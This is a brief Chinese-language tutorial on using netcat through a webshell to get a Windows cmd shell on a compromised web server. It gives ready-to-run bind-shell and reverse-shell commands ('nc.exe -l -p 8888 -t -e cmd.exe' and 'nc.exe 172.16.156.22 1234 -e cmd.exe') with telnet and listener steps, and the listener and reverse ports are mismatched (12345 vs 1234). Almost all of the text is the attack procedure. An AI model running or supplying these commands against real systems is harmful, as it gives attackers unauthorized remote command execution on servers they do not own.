使用nc获取cmdshell
NetCat简称nc
正向连接的方式就是在目标主机上绑定一个端口，当有客户端连接过来的时候就把该连接请求转向cmd.exe来处理，从而客户端获取一个类型命令提示符的执行环境
执行命令：
CMD路径：c:\windows\system32\cmd.exe
1.语句：\c D:\wwwroot\case1\nc.exe -l -p 8888 -t -e cmd.exe
2.客户端直接使用telnet连接就可获得一个cmdshell权限：Telnet 172.16.156.77
反向连接的方式是客户端主动开启一个端口等待目标主机来连接，连接成功后将客户端要执行的命令转交给目标的cmd.exe来处理
1.本地执行：c:\nc -vv -l -p 12345 //监听端口
2.webshell执行：
CMD路径：c:\windows\system32\cmd.exe
语句：\c D:\wwwroot\case1\nc.exe 172.16.156.22 1234 -e cmd.exe //本地ip
3.监听方获取一个反向连接过来的cmdshell